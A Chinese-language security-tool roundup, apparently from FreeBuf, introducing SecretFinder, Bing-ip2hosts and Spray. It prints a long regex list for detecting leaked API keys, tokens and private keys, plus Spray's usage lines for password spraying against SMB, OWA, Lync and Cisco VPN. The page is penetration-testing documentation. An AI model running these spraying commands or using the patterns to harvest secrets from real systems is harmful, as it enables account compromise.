    'github_access_token' : r'[a-zA-Z0-9_-]*:[a-zA-Z0-9_\-][email protected]\.com*',

    'rsa_private_key' : r'-----BEGIN RSA PRIVATE KEY-----',

    'ssh_dsa_private_key' : r'-----BEGIN DSA PRIVATE KEY-----',

    'ssh_dc_private_key' : r'-----BEGIN EC PRIVATE KEY-----',

    'pgp_private_block' : r'-----BEGIN PGP PRIVATE KEY BLOCK-----',

    'json_web_token' : r'ey[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*$',

    

    'name_for_my_regex' : r'my_regex',

    # for example

    'example_api_key'    : r'^example\w+{10,50}'

}

项目地址

SecretFinder:【GitHub传送门

SecretFinder工具介绍

SecretFinder是一款基于LinkFinder实现的Python脚本(如需BrupSuite版本,请点击这里),该工具的主要功能是帮助研究人员发现JavaScript文件中的敏感数据,例如apikeys、accesstoken、authorizations和jwt等。它通过将jsbeautifier for Python与大量的正则表达式结合使用来实现其功能,其中的正则表达式由四个小的正则表达式组成,这些正则表达式将能够帮助我们查找和搜索js文件中的任何内容。

工具将能够以HTML或纯文本形式输出搜索数据:

工具帮助信息

usage: SecretFinder.py [-h] [-e] -i INPUT [-o OUTPUT] [-r REGEX] [-b]

                       [-c COOKIE] [-g IGNORE] [-n ONLY] [-H HEADERS]

                       [-p PROXY]




optional arguments:

  -h, --help            show this help message and exit

  -e, --extract         Extract all javascript links located in a page and

                        process it

  -i INPUT, --input INPUT

                        Input a: URL, file or folder

  -o OUTPUT, --output OUTPUT

                        Where to save the file, including file name. Default:

                        output.html

  -r REGEX, --regex REGEX

                        RegEx for filtering purposes against found endpoint

                        (e.g: ^/api/)

  -b, --burp            Support burp exported file

  -c COOKIE, --cookie COOKIE

                        Add cookies for authenticated JS files

  -g IGNORE, --ignore IGNORE

                        Ignore js url, if it contain the provided string

                        (string;string2..)

  -n ONLY, --only ONLY  Process js url, if it contain the provided string

                        (string;string2..)

  -H HEADERS, --headers HEADERS

                        Set headers ("Name:Value\nName:Value")

  -p PROXY, --proxy PROXY

                        Set proxy (host:port)

工具安装

SecretFinder的当前版本支持Python 3环境。

广大研究人员可以使用下列命令将该项目源码克隆至本地:

$ git clone https://github.com/m4ll0k/SecretFinder.git secretfinder

$ cd secretfinder

$ python -m pip install -r requirements.txt or pip install -r requirements.txt

$ python SecretFinder.py

工具使用

该工具的基础功能是在在线JavaScript文件中使用默认正则表达式查找敏感数据,并将HTML结果输出到results.html:

python3 SecretFinder.py -i https://example.com/1.js -o results.html

CLI / STDOUT输出(如果不使用jsbeautifier的话,运行速度将非常快):

python3 SecretFinder.py -i https://example.com/1.js -o cli

分析整个目标域以及其中包含的JS文件:

python3 SecretFinder.py -i https://example.com/ -e

使用命令“-g –ignore”向工具提供需要忽略的js文件(例如外部代码库等等):

python3 SecretFinder.py -i https://example.com/ -e -g 'jquery;bootstrap;api.google.com'

使用“-n –only”命令让工具只处理特定的js文件:

python3 SecretFinder.py -i https://example.com/ -e -n 'd3i4yxtzktqr9n.cloudfront.net;www.myexternaljs.com'

使用您的正则表达式:

python3 SecretFinder.py -i https://example.com/1.js -o cli -r 'apikey=my.api.key[a-zA-Z]+'

其他选项:添加Header,代理和cookie:

python3 SecretFinder.py -i https://example.com/ -e -o cli -c 'mysessionid=111234' -H 'x-header:value1\nx-header2:value2' -p 127.0.0.1:8080 -r 'apikey=my.api.key[a-zA-Z]+'

该工具可以接受以下所有输入参数:

URL:例如https://www.google.com/ [-e]是必需的

JS URL:例如https://www.google.com/1.js

文件夹:例如myjsfiles / *

本地文件:例如/js/myjs/file.js

添加正则表达式

打开项目内的SecretFinder.py文件,并添加您的正则表达式:

_regex = {

    'google_api'     : r'AIza[0-9A-Za-z-_]{35}',

    'google_captcha' : r'6L[0-9A-Za-z-_]{38}|^6[0-9a-zA-Z_-]{39}$',

    'google_oauth'   : r'ya29\.[0-9A-Za-z\-_]+',

    'amazon_aws_access_key_id' : r'AKIA[0-9A-Z]{16}',

    'amazon_mws_auth_toke' : r'amzn\\.mws\\.[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}',

    'amazon_aws_url' : r's3\.amazonaws.com[/]+|[a-zA-Z0-9_-]*\.s3\.amazonaws.com',

    'facebook_access_token' : r'EAACEdEose0cBA[0-9A-Za-z]+',

    'authorization_basic' : r'basic\s*[a-zA-Z0-9=:_\+\/-]+',

    'authorization_bearer' : r'bearer\s*[a-zA-Z0-9_\-\.=:_\+\/]+',

    'authorization_api' : r'api[key|\s*]+[a-zA-Z0-9_\-]+',

    'mailgun_api_key' : r'key-[0-9a-zA-Z]{32}',

    'twilio_api_key' : r'SK[0-9a-fA-F]{32}',

    'twilio_account_sid' : r'AC[a-zA-Z0-9_\-]{32}',

    'twilio_app_sid' : r'AP[a-zA-Z0-9_\-]{32}',

    'paypal_braintree_access_token' : r'access_token\$production\$[0-9a-z]{16}\$[0-9a-f]{32}',

    'square_oauth_secret' : r'sq0csp-[ 0-9A-Za-z\-_]{43}|sq0[a-z]{3}-[0-9A-Za-z\-_]{22,43}',

    'square_access_token' : r'sqOatp-[0-9A-Za-z\-_]{22}|EAAA[a-zA-Z0-9]{60}',

    'stripe_standard_api' : r'sk_live_[0-9a-zA-Z]{24}',

    'stripe_restricted_api' : r'rk_live_[0-9a-zA-Z]{24}',

    'github_access_token' : r'[a-zA-Z0-9_-]*:[a-zA-Z0-9_\-][email protected]\.com*',

    'rsa_private_key' : r'-----BEGIN RSA PRIVATE KEY-----',

    'ssh_dsa_private_key' : r'-----BEGIN DSA PRIVATE KEY-----',

    'ssh_dc_private_key' : r'-----BEGIN EC PRIVATE KEY-----',

    'pgp_private_block' : r'-----BEGIN PGP PRIVATE KEY BLOCK-----',

    'json_web_token' : r'ey[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*$',

    

    'name_for_my_regex' : r'my_regex',

    # for example

    'example_api_key'    : r'^example\w+{10,50}'

}

项目地址

SecretFinder:【GitHub传送门

Bing-ip2hosts

Bing-ip2hosts是一款针对Bing.com站点的网络爬虫工具,该工具基于IP地址实现,能够通过目标IP地址来寻找主机名。

众所周知,Bing是微软公司旗下的旗舰搜索引擎,Bing.com此前还曾被取名为MSN搜索或Live搜索。

该搜索工具提供了搜索引擎独有的一个功能,即允许根据IP地址来进行数据搜索,而Bing-ip2hosts正是基于该功能来实现的。

该工具可以用来发现子域名以及相关域名,而且它还可以帮助研究人员识别托管在共享环境中的站点。这项技术非常适用于渗透测试和漏洞挖掘的初期阶段,也就是网络侦察阶段,以收集到更多的信息,并扩展目标的攻击面。

跟其他网络爬取工具相比,Bing-ip2hosts的不同之处就在于,该工具提供了智能爬取特性,可以最大限度地发现目标主机名。

功能介绍

1、 智能抓取行为,最大限度地发现主机名。

2、 在用户控制台界面显示爬取进度。

3、 根据IP地址查找子域名和目标主机名。

4、 可以根据主机名或IP地址进行搜索。

5、 带或不带URL前缀输出数据。

6、 以列表或CSV格式输出到文件。

7、 不需要Bing API密钥。

8、 选择搜索语言和范围。

9、 从命令行或文件中指定目标。

10、 轻量级Bash shell脚本,不需要大量依赖项。

工具运行演示

Bing提供了搜索引擎的一种特有功能,即允许通过IP地址来进行数据搜索。首先,我们访问Bing.com,然后搜索IP:40.113.200.201,此时搜索引擎应显示microsoft.com相关的结果,如果显示的是空结果,那么我们可以添加一个“.”。

帮助信息

广大研究人员可以使用下列命令查看工具帮助信息:

bing-ip2hosts is a Bing.com web scraper that discovers websites by IP address.

Use for OSINT and discovering attack-surface of penetration test targets.

Usage: ./bing-ip2hosts [OPTIONS] IP|hostname

OPTIONS are:

-o FILE Output hostnames to FILE.

-i FILE Input list of IP addresses or hostnames from FILE.

-n NUM Stop after NUM scraped pages return no new results (Default: 5).

-l Select the language for use in the setlang parameter (Default: en-us).

-m Select the market for use in the setmkt parameter (Default is unset).

-u Only display hostnames. Default is to include URL prefixes.

-c CSV output. Outputs the IP and hostname on each line, separated by a comma.

-q Quiet. Disable output except for final results.

-t DIR Use this directory instead of /tmp.

-V Display the version number of bing-ip2hosts and exit.

工具安装

依赖组件

Bing-ip2hosts需要wget才可以正常运行,但该工具在Ubuntu Linux和Kali Linux平台上已经默认安装了。在macOS平台上,我们可以使用homebrew来安装wget:

homebrew install wget

当然了,我们也可以使用apt在Debian和Ubuntu上安装wget:

sudo apt install wget

安装命令

首先,使用下列命令将项目源码克隆至本地:

git clone https://github.com/urbanadventurer/bing-ip2hosts.git

然后将Bing-ip2hosts的路径地址写到$PATH环境变量中:

sudo cp ./bing-ip2hosts /usr/local/bin/

工具兼容性

Bing-ip2hosts使用了Bash脚本语言,并且支持在下列操作系统中运行:

Ubuntu Linux

GNU bash, version 4.4.20(1)-release (x86_64-pc-linux-gnu)

Copyright (C) 2016 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

macOS Catalina

GNU bash, version 3.2.57(1)-release (x86_64-apple-darwin19)

Copyright (C) 2007 Free Software Foundation, Inc.

项目地址

Bing-ip2hosts:【GitHub传送门

参考来源

urbanadventurer 

Spray是一款能够从活动目录凭证中提取密码的强大工具,该工具目前由Jacob Wilkin(Greenwolf)负责开发和维护。工具依赖

目前,Spray工具所有的依赖组建都已经默认在Kali Linux系统中预安装好了,如果你想要在macOS或其他系统上使用Spray的话,可以使用apt-get或brew来安装curl和rpcclient(smb):

rpcclient

curl

工具下载

广大研究人员可以使用下列命令将项目源码克隆至本地:

git clone https://github.com/Greenwolf/Spray.git

工具使用

这个脚本将能够在一段时间内把活动目录凭证中的密码喷射到目标中,这里要求使用密码策略作为输入参数,这样才能保证账号不被锁定。

除了脚本代码之外,Spray还提供了大量定制化的的多语言密码文件,这些密码是由各种语言中最常见的活动目录密码组合精心编制而成,并且都符合一个大写字母、一个小写字母和一个数字这样的复杂密码组合类别。

SMB

如果需要针对SMB作为目标来进行密码喷射,则必须要提供用户列表、密码列表、在锁定周期内的每次尝试次数、锁定周期长度以及域名信息:

Useage: spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>

Example: spray.sh -smb 192.168.0.1 users.txt passwords.txt 1 35 SPIDERLABS

Optionally Skip Username%Username Spray: spray.sh -smb 192.168.0.1 users.txt passwords.txt 1 35 SPIDERLABS skipuu

OWA

如需针对OWA作为目标来进行密码喷射,则必须创建一个包含了POST请求信息的文件,其中需要写入Username: [email protected]以及Password: spraypassword:

Useage: spray.sh -owa <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <RequestsFile>

Example: spray.sh -owa 192.168.0.1 users.txt passwords.txt 1 35 post-request.txt

Lync

如需针对一个lync服务作为目标来进行密码喷射,则必须提供lync自动发现URL或能够返回www认证Header的URL,同时还需携带一个电子邮件地址列表:

Useage: spray.sh -lync <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes>

Example: spray.sh -lync https://lyncdiscover.spiderlabs.com/ users.txt passwords.txt 1 35

Example: spray.sh -lync https://lyncweb.spiderlabs.com/Autodiscover/AutodiscoverService.svc/root/oauth/user users.txt passwords.txt 1 35

思科Web VPN

如果需要针对思科Web VPN服务作为目标来进行密码喷射,则需要提供目标端口以及目标服务托管的端口信息:

Useage: spray.sh -cisco <targetURL> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes>

Example: spray.sh -ciso 192.168.0.1 usernames.txt passwords.txt 1 35

密码列表更新

我们可以根据当前年份来更新我们的密码列表,比如说(2016/2017):

Useage: spray.sh -passupdate <passwordList>

Example: spray.sh -passupdate passwords.txt

当然了,我们还可以将目标企业或组织名称作为可选参数添加至密码列表中:

Useage: spray.sh -passupdate <passwordList> <CompanyName>

Example: spray.sh -passupdate passwords.txt Spiderlabs

用户名生成

我们还可以根据一系列常用名称来生成我们的用户名列表:

Useage: spray.sh -genusers <firstnames> <lastnames> "<<fi><li><fn><ln>>"

Example: spray.sh -genusers english-first-1000.txt english-last-1000.txt "<fi><ln>"

Example: spray.sh -genusers english-first-1000.txt english-last-1000.txt "<fn>.<ln>"

许可证协议

Spray项目的开发和发布遵循GNU General Public开源许可证协议。

项目地址

Spray:【GitHub传送门

参考来源

Greenwolf

* FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM